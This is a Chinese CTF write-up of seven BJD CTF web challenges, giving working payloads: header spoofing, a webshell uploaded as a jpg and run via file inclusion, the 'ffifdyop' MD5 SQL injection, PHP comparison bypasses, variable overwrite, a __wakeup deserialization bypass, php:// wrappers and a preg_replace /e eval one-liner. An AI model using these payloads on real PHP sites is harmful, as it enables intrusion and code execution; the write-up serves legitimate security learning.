1.抓包修改

​ 提示修改id,postman修改headers里面的id

分析得到id是admin加admin的base64编码,payload为id: adminYWRtaW4=

请求后又提示请使用主机访问,修改xff, X-Forwarded-For: 127.0.0.1

再次请求又提示要从谷歌访问,修改Referer,再次访问得到flag

2.文件上传漏洞与文件包含

​ 写好木马,修改mime,绕过类型判断。但是发现服务器将上传的文件进行了重命名,文件类型.php也被改为了.jpg。观察url有?action=upload.php,想到文件上传漏洞,于是包含我们上传的图片路径,成功将jpg格式文件当作php执行。

3.抓包修改

页面

postman访问发现headers里面藏了一些东西password

md5解密password得到密码是112233,输入登录,bp查看源码,得到flag。

4. sql MD5注入,MD5绕过

postman访问网站,在headers里面得到了一个

hint: select * ``from 'admin' where password``=md5($pass,``true``)

上网找 payload 可以很轻松地找到 ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是

1. select * ``from 'admin' where password``=``'' or '6xxxxx'

等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

提交后又跳转到http://222.186.56.247:8102/levels91.php,f12查看源码得到,hint

<!--
$a = $GET['a'];
$b = $_GET['b']; if($a != $b && md5($a) == md5($b)){
//wow,you can really dance
-->

php是若类型,根据==漏洞,网上找两个md5开头为0e即可,此外也可以利用数组 ?a[]=1&b[]=2 绕过,由于 md5 函数哈希数组会返回 NULL,因此只要传两个不同的数组即可绕过限制 。

成功绕过之后,又跳到了一个新的网页,给了php源码为

 <?php
error_reporting(0);
include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这次难度增加,变成了=,利用数组

另一种解法见https://www.secpulse.com/archives/70070.html

5. .git泄漏、变量覆盖

御剑扫一下目录,得到 /.git/,githack 得到源码

	<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x &amp;&amp; $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) &amp;&amp; !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

变量覆盖分析

  1. POST:$flag=1
foreach($_POST as $x => $y){ $$x = $y; }

解释:$x=flag,$y=1,$$x=$($falg) = 1

  1. GET:?yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}

$x=yds,$y=flag,所以$$x=$yds,$$y=$flag,所以最后$yds=$flag

当执行到

if(!isset($_GET['flag']) &amp;&amp; !isset($_POST['flag'])){
exit($yds);
}

exit($yds)=exit($flag)。即可读取到flag内容。

详情解释https://www.jianshu.com/p/a4d782e91852

6.反序列化漏洞

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag in /flag
class Flag{
public $file; public function __wakeup(){
$this -> file = 'woc';
} public function __destruct(){
print_r(file_get_contents($this -> file));
}
} $exp = $_GET['exp'];
$new = unserialize($exp);

读源码可知,要绕过__wakeup()函数

<?php
class Flag{
public $file="/flag";
}
$test=new Flag();
echo serialize($test);

序列化后得到结果

O:4:"Flag":1:{s:4:"file";s:5:"/flag";}

要绕过__wakeup(),还需修改

O:4:"Flag":2:{s:4:"file";s:5:"/flag";}

更多知识:https://blog.csdn.net/silence1_/article/details/89716976

7.php为协议与 preg_replace 漏洞

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"]; if(strstr(file_get_contents('php://input'),'a')){
die("嚯,有点意思");
} if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
} include($file); //next.php }
else{
highlight_file(__FILE__);
}
?>

代码审计得知首先需要读取$text文件内容为I have a dream 但是过滤掉了php://input伪协议,只能用php://data

http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream

也可以用远程文件包含

http://222.186.56.247:8108/?text=http://1.1.1.1/1.txt

include($file)提示next.php,继续利用伪协议 php://filter 读取next.php源码的base64()编码

http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
<?php

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
} foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
} function getFlag(){
@eval($_GET['cmd']);
}

审计源码发现preg_replace的/e漏洞,于是构想,利用preg_replace的/e漏洞执行getFlag(),再利用GET给cmd参数传递一句话木马,再用蚁剑连接即可。

或者更简单的方法

http://222.186.56.247:8108/next.php?\S*=${eval($_POST[test])}

相关内容:https://blog.csdn.net/weixin_43272781/article/details/94645507 //伪协议

相关内容:https://xz.aliyun.com/t/2557 //preg_replace的/e漏洞

总结没做出来的题,还需要学习的知识

1.模板注入漏洞

2.__get()魔术方法在当访问不存属性在或为私有属性的时候会触发

  1. vim泄漏、shtml命令执行

https://www.gem-love.com/websecurity/824.html#i

bjd_ctf的更多相关文章

随机推荐

  1. Kubernets二进制安装(9)之部署主控节点控制器controller-manager

    kube-controller-manager运行控制器,它们是处理集群中常规任务的后台线程 Controller Manager就是集群内部的管理控制中心,由负责不同资源的多个Controller构 ...

  2. kubernetes实战-交付dubbo服务到k8s集群(五)交付dubbo-monitor监控服务到k8s

    首先下载 dubbo-monitor源码包7-200 dubbo-monitor是监控zookeeper状态的一个服务,另外还有dubbo-admin,效果一样,感兴趣的可以自己研究一下. # cd ...

  3. Win7下安装IIS

    安装IIS 1.控制面板 --> 程序 --> 卸载程序,进入"程序与功能". 2.进入"打开或关闭Window功能". 3.找到"Int ...

  4. go免杀初探

    0x01 go免杀 由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip.尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了 ...

  5. Leetcode(29)-两数相除

    给定两个整数,被除数 dividend 和除数 divisor.将两数相除,要求不使用乘法.除法和 mod 运算符. 返回被除数 dividend 除以除数 divisor 得到的商. 示例 1: 输 ...

  6. POJ - 3665 icow

    Fatigued by the endless toils of farming, Farmer John has decided to try his hand in the MP3 player ...

  7. UA 广告 All In One

    UA 广告 All In One UA 广告是什么 广告投放 / 市场营销 互联网营销和分析专用名词速览 http://www.chinawebanalytics.cn/digital-marketi ...

  8. React & update state with props & Object.assign

    React & update state with props & Object.assign Object.assign({}, oldObj, newObj) https://re ...

  9. CSS Dark Mode

    CSS Dark Mode https://kevq.uk/automatic-dark-mode/ https://kevq.uk/how-to-add-css-dark-mode-to-a-web ...

  10. NDB程序进近复飞保护区的绘制

    终于有点空闲,找张图来演练一下<风螺旋标准模板>软件的用法. 某机场NDB进近程序剖面图如下图所示: 该机场采用了近台和远台的双台布局,近台和远台均为NDB与指点标的合装台,没有中间进近定 ...